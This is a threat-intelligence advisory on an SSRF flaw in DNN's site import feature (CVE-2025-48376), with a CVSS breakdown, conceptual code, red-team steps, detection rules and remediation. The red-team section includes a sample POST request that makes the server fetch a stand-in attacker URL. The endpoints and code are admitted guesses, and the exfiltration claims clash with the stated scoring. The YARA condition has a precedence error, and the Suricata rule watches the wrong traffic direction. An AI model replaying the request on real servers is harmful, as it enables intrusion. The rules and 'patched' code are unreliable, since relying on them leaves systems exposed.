CVE-2025-48376

Executive Summary

CVE-2025-48376 is a server-side request forgery (SSRF) vulnerability in DNN (formerly DotNetNuke), an open-source web content management platform for the Microsoft ecosystem. A malicious SuperUser (Host) can craft a request to use an external URL for a site export, which is then imported. This allows an attacker with high privileges to potentially exfiltrate data or interact with internal systems. The vulnerability is patched in version 9.13.9. The CVSS score is 3.5 (Low), and the EPSS score is 0.0%, indicating low exploitation activity. No public proof-of-concept (PoC) or exploit code is available.

CVSS Breakdown & Threat Level

• CVSS Score: 3.5 (Low)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N
• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): High (H) – The attacker must be a SuperUser (Host).
• User Interaction (UI): None (N) – No user interaction is required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): None (N) – No direct data disclosure.
• Integrity (I): Low (L) – The attacker can modify site export data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Low. The requirement for SuperUser privileges significantly reduces the attack surface. However, if an attacker compromises a SuperUser account, they could use this SSRF to probe internal networks or exfiltrate data.

Deep Dive & Mechanics

The vulnerability lies in the site export/import functionality of DNN. A SuperUser can initiate a site export, specifying a URL for the export file. The application does not properly validate that the URL points to a local or trusted resource. By providing an external URL (e.g., http://attacker.com/malicious_export.dnn), the server will fetch that URL and import the content as a site template. This allows an attacker to:

1. Probe Internal Services: The server will make a request to the attacker-controlled URL, revealing the server's IP address and potentially allowing the attacker to fingerprint the internal network.
2. Exfiltrate Data: The attacker could craft a malicious export file that, when imported, exfiltrates sensitive data (e.g., database credentials, user data) to an external server.
3. Import Malicious Content: The attacker could import a site template containing malicious code (e.g., JavaScript, ASPX) that executes on the server.

The fix in version 9.13.9 likely involves validating that the export URL is a local resource (e.g., within the application's file system) and not an external URL.

Vulnerable vs. Patched Code

The vulnerable code is in the site export/import functionality. The exact code is not publicly available, but the logic is:

Vulnerable Code (Conceptual):

// In SiteExportController.cs or similar
public ActionResult ImportSite(string exportUrl)
{
    // No validation of exportUrl
    var exportData = DownloadFile(exportUrl);
    ImportSiteData(exportData);
    return View();
}

Patched Code (Conceptual):

// In SiteExportController.cs or similar
public ActionResult ImportSite(string exportUrl)
{
    // Validate that the URL is a local file path
    if (!IsLocalPath(exportUrl))
    {
        return BadRequest("Invalid export URL.");
    }
    var exportData = DownloadFile(exportUrl);
    ImportSiteData(exportData);
    return View();
}

private bool IsLocalPath(string url)
{
    // Check if the URL is a local file path (e.g., /App_Data/Exports/...)
    return url.StartsWith("/App_Data/Exports/") || url.StartsWith("~/App_Data/Exports/");
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A DNN instance (version < 9.13.9) with SuperUser (Host) credentials.
• An attacker-controlled server to receive the request.

Steps:

1. Log in as a SuperUser.
2. Navigate to the site export/import functionality (e.g., http://target.dnn.com/Admin/SiteExport).
3. In the "Import from URL" field, enter the attacker-controlled URL: http://attacker.com/evil_export.dnn.
4. Submit the request.
5. The DNN server will make a request to http://attacker.com/evil_export.dnn, revealing its IP address and potentially downloading a malicious export file.

Example Request (Burp Suite):

POST /Admin/SiteExport/Import HTTP/1.1
Host: target.dnn.com
Content-Type: application/x-www-form-urlencoded
Cookie: [session cookie]

exportUrl=http://attacker.com/evil_export.dnn&__RequestVerificationToken=[token]

Blue Team

Detection:

• Monitor for unusual outbound HTTP requests from the DNN server to external IPs.
• Monitor for SuperUser accounts performing site imports from external URLs.
• Review IIS logs for requests to /Admin/SiteExport/Import with suspicious exportUrl parameters.

Hunting:

• Search for log entries containing exportUrl with external domains.
• Use the Sigma rule below to detect the attack.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests from the DNN server to external IPs on port 80/443.
  • DNS queries for attacker-controlled domains.
• File System:
  • Unexpected files in the /App_Data/Exports/ directory.
  • Modified site templates.
• Logs:
  • IIS logs showing requests to /Admin/SiteExport/Import with external URLs.
  • DNN event logs showing site imports from external sources.

Detection Engineering

YARA Rule

rule CVE_2025_48376_DNN_SSRF {
    meta:
        description = "Detects DNN site export import requests with external URLs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-48376"
    strings:
        $s1 = "exportUrl=" ascii wide nocase
        $s2 = "http://" ascii wide nocase
        $s3 = "https://" ascii wide nocase
    condition:
        all of ($s*) and #s2 > 0 or #s3 > 0
}

Sigma Rule

title: DNN Site Export SSRF (CVE-2025-48376)
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2025-48376 by importing a site from an external URL
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-48376
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-uri-stem: '/Admin/SiteExport/Import'
        cs-uri-query|contains: 'exportUrl=http://'
    condition: selection
falsepositives:
    - Legitimate use of external export URLs (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-48376 DNN Site Export SSRF"; flow:to_server,established; content:"POST"; http_method; content:"/Admin/SiteExport/Import"; http_uri; content:"exportUrl=http://"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

1. Upgrade to DNN Platform version 9.13.9 or later.
2. If upgrade is not possible, restrict SuperUser access to only trusted administrators.
3. Implement network segmentation to limit outbound traffic from the DNN server.

Long-term:

1. Apply the principle of least privilege to all user roles.
2. Regularly review and audit SuperUser activities.
3. Implement web application firewall (WAF) rules to block requests with external URLs in the exportUrl parameter.

Valters IT Senior DevSecOps & Cyber Threat Intelligence Expert